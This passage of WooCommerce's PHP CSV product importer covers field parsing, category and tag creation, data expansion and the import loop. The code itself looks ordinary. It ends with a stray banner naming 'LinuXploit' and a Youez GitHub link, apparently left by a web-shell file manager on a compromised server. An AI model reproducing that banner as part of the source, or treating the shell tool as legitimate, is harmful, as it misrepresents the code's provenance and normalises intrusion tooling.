			// If we're not updating existing posts, we may need a placeholder product to map to.
			if ( ! $this->params['update_existing'] ) {
				$product = wc_get_product_object( 'simple' );
				$product->set_name( 'Import placeholder for ' . $id );
				$product->set_status( 'importing' );
				$product->add_meta_data( '_original_id', $id, true );
				$id = $product->save();
			}

			return $id;
		}

		$id = wc_get_product_id_by_sku( $value );

		if ( $id ) {
			return $id;
		}

		try {
			$product = wc_get_product_object( 'simple' );
			$product->set_name( 'Import placeholder for ' . $value );
			$product->set_status( 'importing' );
			$product->set_sku( $value );
			$id = $product->save();

			if ( $id && ! is_wp_error( $id ) ) {
				return $id;
			}
		} catch ( Exception $e ) {
			return '';
		}

		return '';
	}

	/**
	 * Parse the ID field.
	 *
	 * If we're not doing an update, create a placeholder product so mapping works
	 * for rows following this one.
	 *
	 * @param string $value Field value.
	 *
	 * @return int
	 */
	public function parse_id_field( $value ) {
		global $wpdb;

		$id = absint( $value );

		if ( ! $id ) {
			return 0;
		}

		// See if this maps to an ID placeholder already.
		$original_id = $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '_original_id' AND meta_value = %s;", $id ) ); // WPCS: db call ok, cache ok.

		if ( $original_id ) {
			return absint( $original_id );
		}

		// Not updating? Make sure we have a new placeholder for this ID.
		if ( ! $this->params['update_existing'] ) {
			$mapped_keys      = $this->get_mapped_keys();
			$sku_column_index = absint( array_search( 'sku', $mapped_keys, true ) );
			$row_sku          = isset( $this->raw_data[ $this->parsing_raw_data_index ][ $sku_column_index ] ) ? $this->raw_data[ $this->parsing_raw_data_index ][ $sku_column_index ] : '';
			$id_from_sku      = $row_sku ? wc_get_product_id_by_sku( $row_sku ) : '';

			// If row has a SKU, make sure placeholder was not made already.
			if ( $id_from_sku ) {
				return $id_from_sku;
			}

			$product = wc_get_product_object( 'simple' );
			$product->set_name( 'Import placeholder for ' . $id );
			$product->set_status( 'importing' );
			$product->add_meta_data( '_original_id', $id, true );

			// If row has a SKU, make sure placeholder has it too.
			if ( $row_sku ) {
				$product->set_sku( $row_sku );
			}
			$id = $product->save();
		}

		return $id && ! is_wp_error( $id ) ? $id : 0;
	}

	/**
	 * Parse relative comma-delineated field and return product ID.
	 *
	 * @param string $value Field value.
	 *
	 * @return array
	 */
	public function parse_relative_comma_field( $value ) {
		if ( empty( $value ) ) {
			return array();
		}

		return array_filter( array_map( array( $this, 'parse_relative_field' ), $this->explode_values( $value ) ) );
	}

	/**
	 * Parse a comma-delineated field from a CSV.
	 *
	 * @param string $value Field value.
	 *
	 * @return array
	 */
	public function parse_comma_field( $value ) {
		if ( empty( $value ) && '0' !== $value ) {
			return array();
		}

		$value = $this->unescape_data( $value );
		return array_map( 'wc_clean', $this->explode_values( $value ) );
	}

	/**
	 * Parse a field that is generally '1' or '0' but can be something else.
	 *
	 * @param string $value Field value.
	 *
	 * @return bool|string
	 */
	public function parse_bool_field( $value ) {
		if ( '0' === $value ) {
			return false;
		}

		if ( '1' === $value ) {
			return true;
		}

		// Don't return explicit true or false for empty fields or values like 'notify'.
		return wc_clean( $value );
	}

	/**
	 * Parse a float value field.
	 *
	 * @param string $value Field value.
	 *
	 * @return float|string
	 */
	public function parse_float_field( $value ) {
		if ( '' === $value ) {
			return $value;
		}

		// Remove the ' prepended to fields that start with - if needed.
		$value = $this->unescape_data( $value );

		return floatval( $value );
	}

	/**
	 * Parse the stock qty field.
	 *
	 * @param string $value Field value.
	 *
	 * @return float|string
	 */
	public function parse_stock_quantity_field( $value ) {
		if ( '' === $value ) {
			return $value;
		}

		// Remove the ' prepended to fields that start with - if needed.
		$value = $this->unescape_data( $value );

		return wc_stock_amount( $value );
	}

	/**
	 * Parse the tax status field.
	 *
	 * @param string $value Field value.
	 *
	 * @return string
	 */
	public function parse_tax_status_field( $value ) {
		if ( '' === $value ) {
			return $value;
		}

		// Remove the ' prepended to fields that start with - if needed.
		$value = $this->unescape_data( $value );

		if ( 'true' === strtolower( $value ) || 'false' === strtolower( $value ) ) {
			$value = wc_string_to_bool( $value ) ? 'taxable' : 'none';
		}

		return wc_clean( $value );
	}

	/**
	 * Parse a category field from a CSV.
	 * Categories are separated by commas and subcategories are "parent > subcategory".
	 *
	 * @param string $value Field value.
	 *
	 * @return array of arrays with "parent" and "name" keys.
	 */
	public function parse_categories_field( $value ) {
		if ( empty( $value ) ) {
			return array();
		}

		$row_terms  = $this->explode_values( $value );
		$categories = array();

		foreach ( $row_terms as $row_term ) {
			$parent = null;
			$_terms = array_map( 'trim', explode( '>', $row_term ) );
			$total  = count( $_terms );

			foreach ( $_terms as $index => $_term ) {
				// Don't allow users without capabilities to create new categories.
				if ( ! current_user_can( 'manage_product_terms' ) ) {
					break;
				}

				$term = wp_insert_term( $_term, 'product_cat', array( 'parent' => intval( $parent ) ) );

				if ( is_wp_error( $term ) ) {
					if ( $term->get_error_code() === 'term_exists' ) {
						// When term exists, error data should contain existing term id.
						$term_id = $term->get_error_data();
					} else {
						break; // We cannot continue on any other error.
					}
				} else {
					// New term.
					$term_id = $term['term_id'];
				}

				// Only requires assign the last category.
				if ( ( 1 + $index ) === $total ) {
					$categories[] = $term_id;
				} else {
					// Store parent to be able to insert or query categories based in parent ID.
					$parent = $term_id;
				}
			}
		}

		return $categories;
	}

	/**
	 * Parse a tag field from a CSV.
	 *
	 * @param string $value Field value.
	 *
	 * @return array
	 */
	public function parse_tags_field( $value ) {
		if ( empty( $value ) ) {
			return array();
		}

		$value = $this->unescape_data( $value );
		$names = $this->explode_values( $value );
		$tags  = array();

		foreach ( $names as $name ) {
			$term = get_term_by( 'name', $name, 'product_tag' );

			if ( ! $term || is_wp_error( $term ) ) {
				$term = (object) wp_insert_term( $name, 'product_tag' );
			}

			if ( ! is_wp_error( $term ) ) {
				$tags[] = $term->term_id;
			}
		}

		return $tags;
	}

	/**
	 * Parse a tag field from a CSV with space separators.
	 *
	 * @param string $value Field value.
	 *
	 * @return array
	 */
	public function parse_tags_spaces_field( $value ) {
		if ( empty( $value ) ) {
			return array();
		}

		$value = $this->unescape_data( $value );
		$names = $this->explode_values( $value, ' ' );
		$tags  = array();

		foreach ( $names as $name ) {
			$term = get_term_by( 'name', $name, 'product_tag' );

			if ( ! $term || is_wp_error( $term ) ) {
				$term = (object) wp_insert_term( $name, 'product_tag' );
			}

			if ( ! is_wp_error( $term ) ) {
				$tags[] = $term->term_id;
			}
		}

		return $tags;
	}

	/**
	 * Parse a shipping class field from a CSV.
	 *
	 * @param string $value Field value.
	 *
	 * @return int
	 */
	public function parse_shipping_class_field( $value ) {
		if ( empty( $value ) ) {
			return 0;
		}

		$term = get_term_by( 'name', $value, 'product_shipping_class' );

		if ( ! $term || is_wp_error( $term ) ) {
			$term = (object) wp_insert_term( $value, 'product_shipping_class' );
		}

		if ( is_wp_error( $term ) ) {
			return 0;
		}

		return $term->term_id;
	}

	/**
	 * Parse images list from a CSV. Images can be filenames or URLs.
	 *
	 * @param string $value Field value.
	 *
	 * @return array
	 */
	public function parse_images_field( $value ) {
		if ( empty( $value ) ) {
			return array();
		}

		$images    = array();
		$separator = apply_filters( 'woocommerce_product_import_image_separator', ',' );

		foreach ( $this->explode_values( $value, $separator ) as $image ) {
			if ( stristr( $image, '://' ) ) {
				$images[] = esc_url_raw( $image );
			} else {
				$images[] = sanitize_file_name( $image );
			}
		}

		return $images;
	}

	/**
	 * Parse dates from a CSV.
	 * Dates requires the format YYYY-MM-DD and time is optional.
	 *
	 * @param string $value Field value.
	 *
	 * @return string|null
	 */
	public function parse_date_field( $value ) {
		if ( empty( $value ) ) {
			return null;
		}

		if ( preg_match( '/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])([ 01-9:]*)$/', $value ) ) {
			// Don't include the time if the field had time in it.
			return current( explode( ' ', $value ) );
		}

		return null;
	}

	/**
	 * Parse dates from a CSV.
	 * Dates can be Unix timestamps or in any format supported by strtotime().
	 *
	 * @param string $value Field value.
	 *
	 * @return string|null
	 */
	public function parse_datetime_field( $value ) {
		try {
			// If value is a Unix timestamp, convert it to a datetime string.
			if ( is_numeric( $value ) ) {
				$datetime = new DateTime( "@{$value}" );
				// Return datetime string in ISO8601 format (eg. 2018-01-01T00:00:00Z) to preserve UTC timezone since Unix timestamps are always UTC.
				return $datetime->format( 'Y-m-d\TH:i:s\Z' );
			}
			// Check whether the value is a valid date string.
			if ( false !== strtotime( $value ) ) {
				// If the value is a valid date string, return as is.
				return $value;
			}
		} catch ( Exception $e ) {
			// DateTime constructor throws an exception if the value is not a valid Unix timestamp.
			return null;
		}
		// If value is not valid Unix timestamp or date string, return null.
		return null;
	}

	/**
	 * Parse backorders from a CSV.
	 *
	 * @param string $value Field value.
	 *
	 * @return string
	 */
	public function parse_backorders_field( $value ) {
		if ( empty( $value ) ) {
			return 'no';
		}

		$value = $this->parse_bool_field( $value );

		if ( 'notify' === $value ) {
			return 'notify';
		} elseif ( is_bool( $value ) ) {
			return $value ? 'yes' : 'no';
		}

		return 'no';
	}

	/**
	 * Just skip current field.
	 *
	 * By default is applied wc_clean() to all not listed fields
	 * in self::get_formatting_callback(), use this method to skip any formatting.
	 *
	 * @param string $value Field value.
	 *
	 * @return string
	 */
	public function parse_skip_field( $value ) {
		return $value;
	}

	/**
	 * Parse download file urls, we should allow shortcodes here.
	 *
	 * Allow shortcodes if present, otherwise esc_url the value.
	 *
	 * @param string $value Field value.
	 *
	 * @return string
	 */
	public function parse_download_file_field( $value ) {
		// Absolute file paths.
		if ( 0 === strpos( $value, 'http' ) ) {
			return esc_url_raw( $value );
		}
		// Relative and shortcode paths.
		return wc_clean( $value );
	}

	/**
	 * Parse an int value field
	 *
	 * @param int $value field value.
	 *
	 * @return int
	 */
	public function parse_int_field( $value ) {
		// Remove the ' prepended to fields that start with - if needed.
		$value = $this->unescape_data( $value );

		return intval( $value );
	}

	/**
	 * Parse a description value field
	 *
	 * @param string $description field value.
	 *
	 * @return string
	 */
	public function parse_description_field( $description ) {
		$parts = explode( "\\\\n", $description );
		foreach ( $parts as $key => $part ) {
			$parts[ $key ] = str_replace( '\n', "\n", $part );
		}

		return implode( '\\\n', $parts );
	}

	/**
	 * Parse the published field. 1 is published, 0 is private, -1 is draft.
	 * Alternatively, 'true' can be used for published and 'false' for draft.
	 *
	 * @param string $value Field value.
	 *
	 * @return float|string
	 */
	public function parse_published_field( $value ) {
		if ( '' === $value ) {
			return $value;
		}

		// Remove the ' prepended to fields that start with - if needed.
		$value = $this->unescape_data( $value );

		if ( 'true' === strtolower( $value ) || 'false' === strtolower( $value ) ) {
			return wc_string_to_bool( $value ) ? 1 : -1;
		}

		return floatval( $value );
	}

	/**
	 * Deprecated get formatting callback method.
	 *
	 * @deprecated 4.3.0
	 * @return array
	 */
	protected function get_formating_callback() {
		return $this->get_formatting_callback();
	}

	/**
	 * Get formatting callback.
	 *
	 * @since 4.3.0
	 * @return array
	 */
	protected function get_formatting_callback() {

		/**
		 * Columns not mentioned here will get parsed with 'wc_clean'.
		 * column_name => callback.
		 */
		$data_formatting = array(
			'id'                => array( $this, 'parse_id_field' ),
			'type'              => array( $this, 'parse_comma_field' ),
			'published'         => array( $this, 'parse_published_field' ),
			'featured'          => array( $this, 'parse_bool_field' ),
			'date_on_sale_from' => array( $this, 'parse_datetime_field' ),
			'date_on_sale_to'   => array( $this, 'parse_datetime_field' ),
			'name'              => array( $this, 'parse_skip_field' ),
			'short_description' => array( $this, 'parse_description_field' ),
			'description'       => array( $this, 'parse_description_field' ),
			'manage_stock'      => array( $this, 'parse_bool_field' ),
			'low_stock_amount'  => array( $this, 'parse_stock_quantity_field' ),
			'backorders'        => array( $this, 'parse_backorders_field' ),
			'stock_status'      => array( $this, 'parse_bool_field' ),
			'sold_individually' => array( $this, 'parse_bool_field' ),
			'width'             => array( $this, 'parse_float_field' ),
			'length'            => array( $this, 'parse_float_field' ),
			'height'            => array( $this, 'parse_float_field' ),
			'weight'            => array( $this, 'parse_float_field' ),
			'reviews_allowed'   => array( $this, 'parse_bool_field' ),
			'purchase_note'     => 'wp_filter_post_kses',
			'price'             => 'wc_format_decimal',
			'regular_price'     => 'wc_format_decimal',
			'stock_quantity'    => array( $this, 'parse_stock_quantity_field' ),
			'category_ids'      => array( $this, 'parse_categories_field' ),
			'tag_ids'           => array( $this, 'parse_tags_field' ),
			'tag_ids_spaces'    => array( $this, 'parse_tags_spaces_field' ),
			'shipping_class_id' => array( $this, 'parse_shipping_class_field' ),
			'images'            => array( $this, 'parse_images_field' ),
			'parent_id'         => array( $this, 'parse_relative_field' ),
			'grouped_products'  => array( $this, 'parse_relative_comma_field' ),
			'upsell_ids'        => array( $this, 'parse_relative_comma_field' ),
			'cross_sell_ids'    => array( $this, 'parse_relative_comma_field' ),
			'download_limit'    => array( $this, 'parse_int_field' ),
			'download_expiry'   => array( $this, 'parse_int_field' ),
			'product_url'       => 'esc_url_raw',
			'menu_order'        => 'intval',
			'tax_status'        => array( $this, 'parse_tax_status_field' ),
		);

		/**
		 * Match special column names.
		 */
		$regex_match_data_formatting = array(
			'/attributes:value*/'    => array( $this, 'parse_comma_field' ),
			'/attributes:visible*/'  => array( $this, 'parse_bool_field' ),
			'/attributes:taxonomy*/' => array( $this, 'parse_bool_field' ),
			'/downloads:url*/'       => array( $this, 'parse_download_file_field' ),
			'/meta:*/'               => 'wp_kses_post', // Allow some HTML in meta fields.
		);

		$callbacks = array();

		// Figure out the parse function for each column.
		foreach ( $this->get_mapped_keys() as $index => $heading ) {
			$callback = 'wc_clean';

			if ( isset( $data_formatting[ $heading ] ) ) {
				$callback = $data_formatting[ $heading ];
			} else {
				foreach ( $regex_match_data_formatting as $regex => $callback ) {
					if ( preg_match( $regex, $heading ) ) {
						$callback = $callback;
						break;
					}
				}
			}

			$callbacks[] = $callback;
		}

		return apply_filters( 'woocommerce_product_importer_formatting_callbacks', $callbacks, $this );
	}

	/**
	 * Check if strings starts with determined word.
	 *
	 * @param string $haystack Complete sentence.
	 * @param string $needle   Excerpt.
	 *
	 * @return bool
	 */
	protected function starts_with( $haystack, $needle ) {
		return substr( $haystack, 0, strlen( $needle ) ) === $needle;
	}

	/**
	 * Expand special and internal data into the correct formats for the product CRUD.
	 *
	 * @param array $data Data to import.
	 *
	 * @return array
	 */
	protected function expand_data( $data ) {
		$data = apply_filters( 'woocommerce_product_importer_pre_expand_data', $data );

		// Images field maps to image and gallery id fields.
		if ( isset( $data['images'] ) ) {
			$images               = $data['images'];
			$data['raw_image_id'] = array_shift( $images );

			if ( ! empty( $images ) ) {
				$data['raw_gallery_image_ids'] = $images;
			}
			unset( $data['images'] );
		}

		// Type, virtual and downloadable are all stored in the same column.
		if ( isset( $data['type'] ) ) {
			$data['type']         = array_map( 'strtolower', $data['type'] );
			$data['virtual']      = in_array( 'virtual', $data['type'], true );
			$data['downloadable'] = in_array( 'downloadable', $data['type'], true );

			// Convert type to string.
			$data['type'] = current( array_diff( $data['type'], array( 'virtual', 'downloadable' ) ) );

			if ( ! $data['type'] ) {
				$data['type'] = 'simple';
			}
		}

		// Status is mapped from a special published field.
		if ( isset( $data['published'] ) ) {
			$published = $data['published'];
			if ( is_float( $published ) ) {
				$published = (int) $published;
			}

			$statuses       = array(
				-1 => 'draft',
				0  => 'private',
				1  => 'publish',
			);
			$data['status'] = $statuses[ $published ] ?? 'draft';

			// Fix draft status of variations.
			if ( 'variation' === ( $data['type'] ?? null ) && -1 === $published ) {
				$data['status'] = 'publish';
			}

			unset( $data['published'] );
		}

		if ( isset( $data['stock_quantity'] ) ) {
			if ( '' === $data['stock_quantity'] ) {
				$data['manage_stock'] = false;
				$data['stock_status'] = isset( $data['stock_status'] ) ? $data['stock_status'] : true;
			} else {
				$data['manage_stock'] = true;
			}
		}

		// Stock is bool or 'backorder'.
		if ( isset( $data['stock_status'] ) ) {
			if ( 'backorder' === $data['stock_status'] ) {
				$data['stock_status'] = 'onbackorder';
			} else {
				$data['stock_status'] = $data['stock_status'] ? 'instock' : 'outofstock';
			}
		}

		// Prepare grouped products.
		if ( isset( $data['grouped_products'] ) ) {
			$data['children'] = $data['grouped_products'];
			unset( $data['grouped_products'] );
		}

		// Tag ids.
		if ( isset( $data['tag_ids_spaces'] ) ) {
			$data['tag_ids'] = $data['tag_ids_spaces'];
			unset( $data['tag_ids_spaces'] );
		}

		// Handle special column names which span multiple columns.
		$attributes = array();
		$downloads  = array();
		$meta_data  = array();

		foreach ( $data as $key => $value ) {
			if ( $this->starts_with( $key, 'attributes:name' ) ) {
				if ( ! empty( $value ) ) {
					$attributes[ str_replace( 'attributes:name', '', $key ) ]['name'] = $value;
				}
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'attributes:value' ) ) {
				$attributes[ str_replace( 'attributes:value', '', $key ) ]['value'] = $value;
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'attributes:taxonomy' ) ) {
				$attributes[ str_replace( 'attributes:taxonomy', '', $key ) ]['taxonomy'] = wc_string_to_bool( $value );
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'attributes:visible' ) ) {
				$attributes[ str_replace( 'attributes:visible', '', $key ) ]['visible'] = wc_string_to_bool( $value );
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'attributes:default' ) ) {
				if ( ! empty( $value ) ) {
					$attributes[ str_replace( 'attributes:default', '', $key ) ]['default'] = $value;
				}
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'downloads:id' ) ) {
				if ( ! empty( $value ) ) {
					$downloads[ str_replace( 'downloads:id', '', $key ) ]['id'] = $value;
				}
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'downloads:name' ) ) {
				if ( ! empty( $value ) ) {
					$downloads[ str_replace( 'downloads:name', '', $key ) ]['name'] = $value;
				}
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'downloads:url' ) ) {
				if ( ! empty( $value ) ) {
					$downloads[ str_replace( 'downloads:url', '', $key ) ]['url'] = $value;
				}
				unset( $data[ $key ] );

			} elseif ( $this->starts_with( $key, 'meta:' ) ) {
				$meta_data[] = array(
					'key'   => str_replace( 'meta:', '', $key ),
					'value' => $value,
				);
				unset( $data[ $key ] );
			}
		}

		if ( ! empty( $attributes ) ) {
			// Remove empty attributes and clear indexes.
			foreach ( $attributes as $attribute ) {
				if ( empty( $attribute['name'] ) ) {
					continue;
				}

				$data['raw_attributes'][] = $attribute;
			}
		}

		if ( ! empty( $downloads ) ) {
			$data['downloads'] = array();

			foreach ( $downloads as $key => $file ) {
				if ( empty( $file['url'] ) ) {
					continue;
				}

				$data['downloads'][] = array(
					'download_id' => isset( $file['id'] ) ? $file['id'] : null,
					'name'        => $file['name'] ? $file['name'] : wc_get_filename_from_url( $file['url'] ),
					'file'        => $file['url'],
				);
			}
		}

		if ( ! empty( $meta_data ) ) {
			$data['meta_data'] = $meta_data;
		}

		return $data;
	}

	/**
	 * Map and format raw data to known fields.
	 */
	protected function set_parsed_data() {
		$parse_functions = $this->get_formatting_callback();
		$mapped_keys     = $this->get_mapped_keys();
		$use_mb          = function_exists( 'mb_convert_encoding' );

		// Parse the data.
		foreach ( $this->raw_data as $row_index => $row ) {
			// Skip empty rows.
			if ( ! count( array_filter( $row ) ) ) {
				continue;
			}

			$this->parsing_raw_data_index = $row_index;

			$data = array();

			do_action( 'woocommerce_product_importer_before_set_parsed_data', $row, $mapped_keys );

			foreach ( $row as $id => $value ) {
				// Skip ignored columns.
				if ( empty( $mapped_keys[ $id ] ) ) {
					continue;
				}

				// Convert UTF8.
				if ( $use_mb ) {
					$encoding = mb_detect_encoding( $value, mb_detect_order(), true );
					if ( $encoding ) {
						$value = mb_convert_encoding( $value, 'UTF-8', $encoding );
					} else {
						$value = mb_convert_encoding( $value, 'UTF-8', 'UTF-8' );
					}
				} else {
					$value = wp_check_invalid_utf8( $value, true );
				}

				$data[ $mapped_keys[ $id ] ] = call_user_func( $parse_functions[ $id ], $value );
			}

			/**
			 * Filter product importer parsed data.
			 *
			 * @param array $parsed_data Parsed data.
			 * @param WC_Product_Importer $importer Importer instance.
			 *
			 * @since
			 */
			$this->parsed_data[] = apply_filters( 'woocommerce_product_importer_parsed_data', $this->expand_data( $data ), $this );
		}
	}

	/**
	 * Get a string to identify the row from parsed data.
	 *
	 * @param array $parsed_data Parsed data.
	 *
	 * @return string
	 */
	protected function get_row_id( $parsed_data ) {
		$id       = isset( $parsed_data['id'] ) ? absint( $parsed_data['id'] ) : 0;
		$sku      = isset( $parsed_data['sku'] ) ? esc_attr( $parsed_data['sku'] ) : '';
		$name     = isset( $parsed_data['name'] ) ? esc_attr( $parsed_data['name'] ) : '';
		$row_data = array();

		if ( $name ) {
			$row_data[] = $name;
		}
		if ( $id ) {
			/* translators: %d: product ID */
			$row_data[] = sprintf( __( 'ID %d', 'woocommerce' ), $id );
		}
		if ( $sku ) {
			/* translators: %s: product SKU */
			$row_data[] = sprintf( __( 'SKU %s', 'woocommerce' ), $sku );
		}

		return implode( ', ', $row_data );
	}

	/**
	 * Process importer.
	 *
	 * Do not import products with IDs or SKUs that already exist if option
	 * update existing is false, and likewise, if updating products, do not
	 * process rows which do not exist if an ID/SKU is provided.
	 *
	 * @return array
	 */
	public function import() {
		$this->start_time = time();
		$index            = 0;
		$update_existing  = $this->params['update_existing'];
		$data             = array(
			'imported'            => array(),
			'imported_variations' => array(),
			'failed'              => array(),
			'updated'             => array(),
			'skipped'             => array(),
		);

		foreach ( $this->parsed_data as $parsed_data_key => $parsed_data ) {
			do_action( 'woocommerce_product_import_before_import', $parsed_data );

			$id         = isset( $parsed_data['id'] ) ? absint( $parsed_data['id'] ) : 0;
			$sku        = isset( $parsed_data['sku'] ) ? $parsed_data['sku'] : '';
			$id_exists  = false;
			$sku_exists = false;

			if ( $id ) {
				$product   = wc_get_product( $id );
				$id_exists = $product && 'importing' !== $product->get_status();
			}

			if ( $sku ) {
				$id_from_sku = wc_get_product_id_by_sku( $sku );
				$product     = $id_from_sku ? wc_get_product( $id_from_sku ) : false;
				$sku_exists  = $product && 'importing' !== $product->get_status();
			}

			if ( $sku_exists && ! $update_existing ) {
				$data['skipped'][] = new WP_Error(
					'woocommerce_product_importer_error',
					esc_html__( 'A product with this SKU already exists.', 'woocommerce' ),
					array(
						'sku' => esc_attr( $sku ),
						'row' => $this->get_row_id( $parsed_data ),
					)
				);
				continue;
			}

			if ( $id_exists && ! $update_existing ) {
				$data['skipped'][] = new WP_Error(
					'woocommerce_product_importer_error',
					esc_html__( 'A product with this ID already exists.', 'woocommerce' ),
					array(
						'id'  => $id,
						'row' => $this->get_row_id( $parsed_data ),
					)
				);
				continue;
			}

			if ( $update_existing && ( isset( $parsed_data['id'] ) || isset( $parsed_data['sku'] ) ) && ! $id_exists && ! $sku_exists ) {
				$data['skipped'][] = new WP_Error(
					'woocommerce_product_importer_error',
					esc_html__( 'No matching product exists to update.', 'woocommerce' ),
					array(
						'id'  => $id,
						'sku' => esc_attr( $sku ),
						'row' => $this->get_row_id( $parsed_data ),
					)
				);
				continue;
			}

			$result = $this->process_item( $parsed_data );

			if ( is_wp_error( $result ) ) {
				$result->add_data( array( 'row' => $this->get_row_id( $parsed_data ) ) );
				$data['failed'][] = $result;
			} elseif ( $result['updated'] ) {
				$data['updated'][] = $result['id'];
			} else {
				if ( $result['is_variation'] ) {
					$data['imported_variations'][] = $result['id'];
				} else {
					$data['imported'][] = $result['id'];
				}
			}

			$index ++;

			if ( $this->params['prevent_timeouts'] && ( $this->time_exceeded() || $this->memory_exceeded() ) ) {
				$this->file_position = $this->file_positions[ $index ];
				break;
			}
		}

		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit